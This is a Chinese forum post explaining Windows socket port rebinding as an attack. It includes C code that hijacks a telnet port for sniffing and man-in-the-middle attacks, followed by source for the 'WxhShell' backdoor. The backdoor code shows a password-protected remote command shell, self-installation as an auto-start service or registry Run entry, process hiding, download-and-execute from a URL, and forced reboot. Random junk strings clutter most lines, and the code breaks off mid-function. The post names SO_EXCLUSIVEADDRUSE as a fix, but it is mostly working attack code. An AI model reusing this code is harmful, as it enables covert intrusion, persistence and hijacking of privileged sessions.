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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lt6wmCe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0j!3\=P$  
Ne Y*l  
  saddr.sin_family = AF_INET; 1n^N`lD8]6  
20|_wAA5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (c0L H  
+?U[362>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e72Fz#<q  
63=&??4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )H W   
m 1; Htw  
  这意味着什么?意味着可以进行如下的攻击: h@$SJe(hl  
^7aqe*|vm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *P=3Pl?j  
5S!#^>_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7wh4~  
pJ/]\>#5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qr%N /7  
)y*&&q   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *mp:#'  
k}fC58q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tty'ysH  
yO)xN=o^\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ) ~=pt&+  
B1 }-   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \{ EVRRXn  
gPk,nB  
  #include :k1?I'q%  
  #include -#f.}H'  
  #include &SbdX   
  #include    Q/]~`S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wz`% ( \  
  int main() piM4grg \  
  { $TXiWW+  
  WORD wVersionRequested; |hika`35K  
  DWORD ret; l}L81t7f  
  WSADATA wsaData; aH1CX<3)~  
  BOOL val; z)C/U  
  SOCKADDR_IN saddr; md+pS"8o;  
  SOCKADDR_IN scaddr; yor'"6)i  
  int err; "D.<~!  
  SOCKET s; Sz Mh  
  SOCKET sc; ]Wkgpfd56  
  int caddsize; RQ8d1US  
  HANDLE mt; yR>P  
  DWORD tid;   j_so s%-  
  wVersionRequested = MAKEWORD( 2, 2 ); 62R";# K  
  err = WSAStartup( wVersionRequested, &wsaData ); ,:(s=J N+  
  if ( err != 0 ) { N=1ue`i  
  printf("error!WSAStartup failed!\n"); ZEI)U, I.  
  return -1; C5dM`_3L  
  } c%pf,sm'  
  saddr.sin_family = AF_INET; E42)93~C  
   rt*x[5<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8 8_ef7w  
Bu=1-8@=qs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iuY,E  
  saddr.sin_port = htons(23); ?m*e$!M0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NuR7pjNMZ  
  { :38{YCN  
  printf("error!socket failed!\n"); d|RUxNjM-J  
  return -1; *xNc^ &.  
  } wx3_?8z/O  
  val = TRUE; <K^a2 D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ' J@J$#6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >(a35 b$  
  { n3~axRPO  
  printf("error!setsockopt failed!\n"); GoybkwFjZ  
  return -1; w~6UOA8}  
  } g0zzDv7~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mrrpm% Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >IaGa!4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oI ick  
BQ Pmo1B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gaz7u8$A=  
  { }2;P`s  
  ret=GetLastError(); b69nj  
  printf("error!bind failed!\n"); G"F O%3&|  
  return -1; F M6{%}4  
  } Yt#; +*d5  
  listen(s,2); aDRcVA$*  
  while(1) x[{\Aw>$.  
  { V_~lME  
  caddsize = sizeof(scaddr); Jd7chIK  
  //接受连接请求 M99ku'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6m?<"y8]  
  if(sc!=INVALID_SOCKET) XF(D%ygeC  
  {  =Iop  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); myfTz tJ  
  if(mt==NULL) 6{.U7="  
  { (y]Z*p:EW  
  printf("Thread Creat Failed!\n"); L@H^?1*L?  
  break; jaEe$2F2  
  } bI ;I<Qa  
  } MBt\"b#t  
  CloseHandle(mt);  ?P +Uv  
  } ( /I6Wa  
  closesocket(s); L/jaUt[,  
  WSACleanup(); ExtC\(X;  
  return 0; P0}B&B/a:  
  }   .hx(9  
  DWORD WINAPI ClientThread(LPVOID lpParam) E \/[hT  
  { #[jS&rr(  
  SOCKET ss = (SOCKET)lpParam; 4x)vy -y  
  SOCKET sc; PI*@.kqR-  
  unsigned char buf[4096]; 5/nL[4Z  
  SOCKADDR_IN saddr; 2ul8]=  
  long num; HU>>\t?d  
  DWORD val; m)L50ot:/  
  DWORD ret; ."ZG0Zg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rNV3-#kU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5c::U=  
  saddr.sin_family = AF_INET; J*rYw5QB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4\-11!'08  
  saddr.sin_port = htons(23); Y!xPmL^]?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~b]enG5xS4  
  { >gp53\  
  printf("error!socket failed!\n"); v)O0i2  
  return -1; 3/]1m9x  
  } E$ \l57  
  val = 100; [E p'm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rEWJ3*Hb  
  { "yQBHYP  
  ret = GetLastError(); [mv? \HDa~  
  return -1; 9 3)fC  
  } ^Saf z8-3o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *4 LS``  
  { K[iAN;QCe%  
  ret = GetLastError(); ]|!|3lQ  
  return -1; nPvys~D  
  } mBwz.KEm<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8D)1ZUx7`  
  { 2J t{oh|  
  printf("error!socket connect failed!\n"); ;l!<A  
  closesocket(sc); 3H!]X M  
  closesocket(ss); i_N8)Z;r  
  return -1; HFP'b=?`]|  
  } AI3x,rk#  
  while(1) ;wMu  
  { ZS+m}.,whQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H8w[{'Mei  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sPQj B[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H 0+-$s;f  
  num = recv(ss,buf,4096,0); RI8*'~ix]  
  if(num>0) /g>-s&w  
  send(sc,buf,num,0); GY?u+|Q  
  else if(num==0) gN<7(F  
  break; GAY?F  
  num = recv(sc,buf,4096,0); pv0|6X?J"  
  if(num>0) }+m4(lpl  
  send(ss,buf,num,0); Ydrh+  
  else if(num==0) 2 %fcDEG/  
  break; # l9VTzi  
  } m^XO77"  
  closesocket(ss); yn!;Z ._  
  closesocket(sc); #+D][LH4  
  return 0 ; k -jFT3b$  
  } S6M7^_B4F  
^&&Wv'7XQ  
yFk|8d-|  
========================================================== _k]R6V:  
<VD7(j]'^  
下边附上一个代码,,WXhSHELL ;N.dzH2yA  
ggPGKY-b=  
========================================================== &*/= `=:C8  
uT=r*p(v  
#include "stdafx.h" S8AbLl9G@>  
AQ$)JPs  
#include <stdio.h> Io<T'K  
#include <string.h> bp'%UgA)1  
#include <windows.h> 5rLx b  
#include <winsock2.h> fUf 1G{4  
#include <winsvc.h> %iNgHoH  
#include <urlmon.h> F-ZTy"z  
5)Z=FUupA~  
#pragma comment (lib, "Ws2_32.lib") ! xM=7Q k  
#pragma comment (lib, "urlmon.lib") 4J[zNB]  
v`mB82s  
#define MAX_USER   100 // 最大客户端连接数 Q0"?TSY  
#define BUF_SOCK   200 // sock buffer Mhn1-ma:  
#define KEY_BUFF   255 // 输入 buffer @$kO7k0{g  
n eu<zSS  
#define REBOOT     0   // 重启 TI8\qIW  
#define SHUTDOWN   1   // 关机 8 !:2:  
G HQ~{  
#define DEF_PORT   5000 // 监听端口 x7 e0&  
Dn<3#V  
#define REG_LEN     16   // 注册表键长度 G?v <-=I  
#define SVC_LEN     80   // NT服务名长度 H HX q_-V  
~m<K5K6 V  
// 从dll定义API Da)p%E>Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :j~4mb?$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BYdG K@ouk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %`pi*/(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^! h3#4  
o% Q7 el$f  
// wxhshell配置信息 +pSo(e(  
struct WSCFG { !otseI!!/  
  int ws_port;         // 监听端口 >a*dI_XE  
  char ws_passstr[REG_LEN]; // 口令 M*n94L=Sg&  
  int ws_autoins;       // 安装标记, 1=yes 0=no oMAUR "  
  char ws_regname[REG_LEN]; // 注册表键名 6@lZVM)E  
  char ws_svcname[REG_LEN]; // 服务名 VTR4uT-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v(0ujfSR0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 au19Q*r9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G[ns^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CB9:53zK9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I/upiqy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aC' 6  
g:~q&b[q6  
}; bHm/ZZx  
kK4+K74B  
// default Wxhshell configuration ZYY~A_C  
struct WSCFG wscfg={DEF_PORT, Z2*?a|3  
    "xuhuanlingzhe", >q?{'#i /  
    1, Iu0GOy*[  
    "Wxhshell", Zc38ht\r;  
    "Wxhshell", 7)}_'p  
            "WxhShell Service", j*gZvbO;'L  
    "Wrsky Windows CmdShell Service", oR`rs[Kj  
    "Please Input Your Password: ", }9U_4k  
  1, ;uc3_J]  
  "http://www.wrsky.com/wxhshell.exe", ?#<'w(^%#  
  "Wxhshell.exe" \H>Psv{  
    }; MV3K'<Y  
kz}Bc F  
// 消息定义模块 )$1j"mV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #ZPF&u"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 78:x{1nUM[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9a@S^B>  
char *msg_ws_ext="\n\rExit."; P//nYPyzg  
char *msg_ws_end="\n\rQuit."; ^PE|BCs  
char *msg_ws_boot="\n\rReboot..."; (bsywM  
char *msg_ws_poff="\n\rShutdown..."; yz,_\{}  
char *msg_ws_down="\n\rSave to "; '`gnJX JO  
S['%>  
char *msg_ws_err="\n\rErr!"; ]qZj@0#7n  
char *msg_ws_ok="\n\rOK!"; V/DMkO#a  
};}N1[D   
char ExeFile[MAX_PATH]; R-W.$-rF  
int nUser = 0; r/':^Ex  
HANDLE handles[MAX_USER]; .P T7  
int OsIsNt; JXww_e[  
1NZpd'$c  
SERVICE_STATUS       serviceStatus; EJz!#f~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E0HE@pqr  
LZG(T$dI  
// 函数声明 !s$1C=z5u  
int Install(void); bUy!hS;s  
int Uninstall(void); dtV*CX.D.7  
int DownloadFile(char *sURL, SOCKET wsh); f6SXXkO+  
int Boot(int flag); zV15d91GX  
void HideProc(void); -;6uN\gq  
int GetOsVer(void); r$M<vo6C  
int Wxhshell(SOCKET wsl); &xUCXj2-z  
void TalkWithClient(void *cs); Wn=I[K&&  
int CmdShell(SOCKET sock); t:oq't  
int StartFromService(void); BINHCZ  
int StartWxhshell(LPSTR lpCmdLine); =^Ws/k  
;[Xf@xf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HnFH|H<Uf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *'-C/  
;){ZM,Ox  
// 数据结构和表定义 kuLur)^  
SERVICE_TABLE_ENTRY DispatchTable[] = }9B},  
{ c>c4IQ&d  
{wscfg.ws_svcname, NTServiceMain}, wj'fdrY5h  
{NULL, NULL} vKPLh   
}; `B8`<3k/(  
F3q<j$y  
// 自我安装 >}0H5Q8@  
int Install(void) UWqX}T[^  
{ 2RqV\Jik  
  char svExeFile[MAX_PATH]; ;sUvY*Bcm  
  HKEY key; 6v}q @z  
  strcpy(svExeFile,ExeFile); .bV^u  
 -y_q  
// 如果是win9x系统,修改注册表设为自启动 6_rgRo&  
if(!OsIsNt) { 'tQp&p j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {pre|r\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (B@\Dw8^  
  RegCloseKey(key); )VG>6x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _~>WAm<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~EQ# %db  
  RegCloseKey(key); X$t!g`  
  return 0; \ ux {J  
    } |Q%nnN  
  } f/.f08  
} !)J$f _88D  
else { )"tM[~e`  
2}.~ 6EU/  
// 如果是NT以上系统,安装为系统服务 U? U3?Y-k`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X g7xy>{]  
if (schSCManager!=0) <?;KF2A({  
{ PRyzvc~  
  SC_HANDLE schService = CreateService VggSDb  
  ( J5f}-W@  
  schSCManager, KxhWZ3  
  wscfg.ws_svcname, UpQda`rb  
  wscfg.ws_svcdisp, cV`NQt<W  
  SERVICE_ALL_ACCESS, v$;URF%^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a 7b1c!  
  SERVICE_AUTO_START, U: <  
  SERVICE_ERROR_NORMAL, J*%IvRg  
  svExeFile, |Z o36@s  
  NULL, &`]T# ">  
  NULL, RA+M.  
  NULL, X}QcXc.d  
  NULL, [oXr6M:  
  NULL @L607[!?  
  ); 8{&.[S C7  
  if (schService!=0) %l%2 hvGZ  
  { ?d3<GhzlR3  
  CloseServiceHandle(schService); w&hCt c  
  CloseServiceHandle(schSCManager); [%Z{Mp'g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?aB%h |VA  
  strcat(svExeFile,wscfg.ws_svcname); }KftV nD?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SFEDR?s   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0}:Wh&g  
  RegCloseKey(key); HYJEz2RF  
  return 0; O ~[[JAi[  
    } _3g!_  
  } S,Qa\\~z  
  CloseServiceHandle(schSCManager); qsQTJlq)  
} GbkDs-  
} qckRX+P`  
(II#9 n)  
return 1; Z;dR :|%)  
} Efpj u(   
an Kflt3  
// 自我卸载 3Zpq#  
int Uninstall(void) \mt Y_O  
{ NUtKT~V  
  HKEY key; O2lM;="  
Iy4 RE P|  
if(!OsIsNt) { OzTR#`oey  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( p CU:'"  
  RegDeleteValue(key,wscfg.ws_regname); ^7:UC\_  
  RegCloseKey(key); (2RuQgO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B\ZCJaMb  
  RegDeleteValue(key,wscfg.ws_regname); ^%U`|GBZp  
  RegCloseKey(key); tC/+  
  return 0; ) 2jH&}K  
  } wr>6Go%  
} ?cK67|%W  
} ij}{H#0S-  
else { <)L[V  
'RQEktm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &EC8{.7  
if (schSCManager!=0) u&f|z9  
{ S[l z>I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XE;' K`%  
  if (schService!=0) -_Z  
  { Uw)B(;Hy?  
  if(DeleteService(schService)!=0) { :o:/RRp[  
  CloseServiceHandle(schService); O /&Qzt  
  CloseServiceHandle(schSCManager); #!(2@N8  
  return 0; I;{Ua *  
  } W6u(+P]("  
  CloseServiceHandle(schService); ,o3`O|PiK  
  } aCfWbJ@qiG  
  CloseServiceHandle(schSCManager); M~9IL\J^G  
} ?'tFTh  
} zP$"6~.  
NR^3 1&}It  
return 1; F*4G@)  
} zRR^v&.9K  
ki ?V eFp  
// 从指定url下载文件 !|J2o8g  
int DownloadFile(char *sURL, SOCKET wsh) J!QIMA4{  
{ vcP_gJz  
  HRESULT hr; 7VLn$q]:  
char seps[]= "/"; c'bh`H4  
char *token; R0GD9  
char *file; '^'PdB  
char myURL[MAX_PATH]; ?uF3Q)rCk  
char myFILE[MAX_PATH]; R@IwmJxX  
c48I-{?  
strcpy(myURL,sURL); @k-GyV-v  
  token=strtok(myURL,seps); ,K.Wni#m  
  while(token!=NULL) |A=~aQot  
  { :vFYqoCn  
    file=token; {Bpu-R&T  
  token=strtok(NULL,seps); >GDf* ox[  
  } AG G xx?I  
W7\UZPs5t  
GetCurrentDirectory(MAX_PATH,myFILE); *4Z! 5iOs  
strcat(myFILE, "\\"); )<5hga][~a  
strcat(myFILE, file); 0/~{,  
  send(wsh,myFILE,strlen(myFILE),0); oSO~72  
send(wsh,"...",3,0); g(o^'f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @[TSJi  
  if(hr==S_OK) 6x16?x  
return 0; P qa;fiJ)  
else Rf{YASPIw&  
return 1; q9Lq+4\  
V#~.n ;d  
} &i *e&{L7  
B\~(:(OPM]  
// 系统电源模块 QC1\Sn/  
int Boot(int flag) 2FN#63  
{  {C%f~j  
  HANDLE hToken; TO/SiOd  
  TOKEN_PRIVILEGES tkp; 78IY&q:v&0  
Ed#Hilk'  
  if(OsIsNt) { tSTl#xy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V'l9fj*E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "Q[?W( SA  
    tkp.PrivilegeCount = 1; f!B\X*|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [QwqP=-6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V$ " ]f6  
if(flag==REBOOT) { UrdSo"%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ERfSJ  
  return 0; -Y>QKS  
} 'lgS;ItpKu  
else { VH~ZDZ1P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `I(5Aj"  
  return 0; l~x 6R~q  
} E/C3t2@-  
  } \"+}-!wr  
  else { 07vzVsQ}p  
if(flag==REBOOT) { ?|GwuG8g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0)9n${P7d  
  return 0; af=lzKt*  
} |u[@g`Z  
else { "l(<<Ha/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LiJ./  
  return 0; *nHkK!d<N  
} ~[0^{$rrWs  
} f3mQd}<L  
8~iggwZ~h"  
return 1; rxeOT# N}  
} uAV-wc  
D!V*H?;U  
// win9x进程隐藏模块 @:P:`Zk  
void HideProc(void) ~mT([V  
{ X D \;|  
"iuNYM5 P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HQc^ybX5  
  if ( hKernel != NULL ) `OWwqLoeA  
  { %eJE@$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vZ|Wj] ;o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *>jJ<8!  
    FreeLibrary(hKernel); MVp+2@)}s  
  } \*30E<;C_  
stq%Eg?  
return;  o^x,JT  
} ^:ehG9  
2nI^fVR%\  
// 获取操作系统版本 uh3<%9#\k  
int GetOsVer(void) H  `_{n<  
{ 5Qxm\?0J  
  OSVERSIONINFO winfo; VW**N}1#C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xsx0ZovhY  
  GetVersionEx(&winfo); *,Sa*-7(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W;.L N<bx  
  return 1; q]gF[&QZ  
  else ]mx1djNA  
  return 0; Gyy?cn6_  
} Yo,n#<37  
h:r:qk  
// 客户端句柄模块 f|{&Y2h(R  
int Wxhshell(SOCKET wsl) awOH50R  
{ Mu$"fYKf"  
  SOCKET wsh; <a& $D  
  struct sockaddr_in client; hJ~=eYK?J  
  DWORD myID; IGI$,C  
:\|<7n   
  while(nUser<MAX_USER) DxG8`}+  
{ Y".4."NX  
  int nSize=sizeof(client); :a)`iJnb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W9jxw4)  
  if(wsh==INVALID_SOCKET) return 1; rf =Wq_  
OJ<V<=MYZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l'Uj"9r,  
if(handles[nUser]==0) {\n?IGP?wd  
  closesocket(wsh); uiaZ@  
else P:m6:F@hO  
  nUser++; N[sJ5oF  
  } Rrp-SR?O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A 7zL\U4  
nZ# 0L`@"Y  
  return 0; _O`s;oc  
} ' -rRD\"q  
]=(PtzVa  
// 关闭 socket eJ60@N\A  
void CloseIt(SOCKET wsh) `'b2 z=j  
{ 8 g3?@i  
closesocket(wsh); )Vpt.4IBd  
nUser--; Z \;{e'#o  
ExitThread(0); B5!|L)7>{p  
} 70N Lv  
"IRF^1 p  
// 客户端请求句柄 T0%l$#6v  
void TalkWithClient(void *cs) Mo[yRRS#  
{ +sx$%N  
]Tn""3#1g  
  SOCKET wsh=(SOCKET)cs; mh,a}bX{  
  char pwd[SVC_LEN]; Ev0=m;@_  
  char cmd[KEY_BUFF]; u56WB9Z  
char chr[1]; \y+@mJWa  
int i,j; X`fer%`  
6~a4-5;>z  
  while (nUser < MAX_USER) { \W"p<oo|H  
noO#o+ Jg#  
if(wscfg.ws_passstr) { ;AJ6I*O@+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  x]~&4fp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =v=u+nO  
  //ZeroMemory(pwd,KEY_BUFF); U,Z7n H3_  
      i=0; p4z thdN[  
  while(i<SVC_LEN) { D[3QQT7c  
&Yd6w}8  
  // 设置超时 S X[  
  fd_set FdRead; r)[Xzn   
  struct timeval TimeOut; Uh3N#O  
  FD_ZERO(&FdRead); 6-f-/$B  
  FD_SET(wsh,&FdRead); ,7SqR Y,+  
  TimeOut.tv_sec=8; :rEZR`  
  TimeOut.tv_usec=0; TECp!`)j"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |eP5iy wg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FR6 PY  
@J<RFgw#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &L r~x#Wx  
  pwd=chr[0]; b$>1_wTL  
  if(chr[0]==0xd || chr[0]==0xa) { Fq'Ds[wd5  
  pwd=0; {Hzj(c~S?  
  break; Zo}vV2  
  } Z~ u3{  
  i++; fY!9i5@'  
    } nt*K@  
) RNB;K~s9  
  // 如果是非法用户,关闭 socket ma@!"Z8 S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JHg y&/  
} [rReBgV  
lec3rv0)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |*N;R+b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N@V:nCl  
LU+}iA)  
while(1) { Q 6dqFnz  
a( SJ5t?-2  
  ZeroMemory(cmd,KEY_BUFF); oH(=T/{  
P 4+}<5  
      // 自动支持客户端 telnet标准   ^n*:zmD  
  j=0; c uHF^l  
  while(j<KEY_BUFF) { ^#4Ah[:XA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oe lf^&m  
  cmd[j]=chr[0]; <yw56{w,  
  if(chr[0]==0xa || chr[0]==0xd) { nRs:^Q~o  
  cmd[j]=0; M[ ON2P;  
  break; ^SW0+O  
  } B{>x  
  j++; Y-~ M kB  
    } OOnhT  
zEYQZywc  
  // 下载文件 HSEz20s  
  if(strstr(cmd,"http://")) { `Nv P)|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #{@qC2!2/  
  if(DownloadFile(cmd,wsh)) )&qr2Cm*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _=HNcpDA;0  
  else  C~T*Wlk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3;3 cTXR?=  
  } 5. +_'bF|  
  else { H/ar: j  
1wBmDEhS  
    switch(cmd[0]) { >tm4Rg~y  
  "%#CMCE|f  
  // 帮助 m+xub*/  
  case '?': { EF'8-*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ywA7hm  
    break; #dQFs]:F  
  } A+(+Pf U  
  // 安装 DSlO.) dHu  
  case 'i': { &FWz7O>1  
    if(Install()) NKl`IiGv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #x \YA#~  
    else sW76RKX8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hp[i8PJ  
    break; ?%$~Bb _  
    } 0{-?Wy  
  // 卸载 u-*z#e_L0  
  case 'r': { ahFK^ #s  
    if(Uninstall()) iqKs:v@+x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _%(.OR  
    else dF*M"|[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XXxH<E$p  
    break; <,Mf[R2N>  
    } p5l|qs  
  // 显示 wxhshell 所在路径 ,h<x Y>  
  case 'p': { j{6O:d6([$  
    char svExeFile[MAX_PATH]; t+D= @"BZP  
    strcpy(svExeFile,"\n\r"); (S2E'L L{  
      strcat(svExeFile,ExeFile); YKzfI9Y  
        send(wsh,svExeFile,strlen(svExeFile),0); P_)=sj!>-  
    break; 1'|gxYT  
    } NdrR+t^#  
  // 重启 yQf(/Uxk*x  
  case 'b': { Adgfo)X5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Sk"S/4}Z  
    if(Boot(REBOOT)) k106fT]eX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Y'ewu;qJ  
    else { p-H}NQ\  
    closesocket(wsh); T[MDjhv'  
    ExitThread(0); a*uG^~ ).  
    } 1\nzfxx  
    break; O`T_'.Lk  
    } ^fmuBe}d{  
  // 关机 $i1:--~2\  
  case 'd': { Z+=-)&L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $:&b5=i  
